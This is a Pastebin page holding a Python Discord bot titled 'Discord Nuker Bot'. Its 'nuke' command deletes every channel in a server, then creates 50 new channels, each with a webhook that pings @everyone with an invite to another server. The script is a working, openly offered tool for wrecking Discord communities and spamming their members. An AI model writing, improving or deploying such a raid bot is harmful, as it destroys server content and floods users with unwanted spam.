Advertisement
Flameso_o16

Discord Nuker Bot

Jan 10th, 2025
754
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.21 KB | None | 0 0
  1. import discord
  2. import os
  3. from dotenv import load_dotenv
  4.  
  5. load_dotenv()
  6.  
  7. intents = discord.Intents.all()
  8. bot = discord.Bot(intents=intents)
  9.  
  10. nuke_active = True
  11.  
  12. @bot.event
  13. async def on_ready():
  14.     print(f"{bot.user} is ready and online!")
  15.  
  16. @bot.command()
  17. async def nuke(ctx):
  18.     global nuke_active
  19.     nuke_active = True
  20.  
  21.     if ctx.author.guild_permissions.administrator:
  22.         guild = ctx.guild
  23.  
  24.         for channel in guild.channels:
  25.             if not nuke_active:
  26.                 break
  27.             await channel.delete()
  28.  
  29.         for i in range(50):  # Creates 50 channels named "hello"
  30.             if not nuke_active:
  31.                 break
  32.             new_channel = await guild.create_text_channel(name="flames")
  33.             webhook = await new_channel.create_webhook(name="FlamesNuke")
  34.             await webhook.send("@everyone Join my Discord server: https://discord.gg/5c9D3VD7se")
  35.  
  36.         await ctx.respond("Nuke complete!")
  37.     else:
  38.         await ctx.respond("You need admin permissions to run this command!")
  39.  
  40. @bot.command()
  41. async def stop(ctx):
  42.     global nuke_active
  43.     nuke_active = False
  44.     await ctx.respond("Nuke process has been stopped!")
  45.  
  46. bot.run(os.getenv('TOKEN'))
  47.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement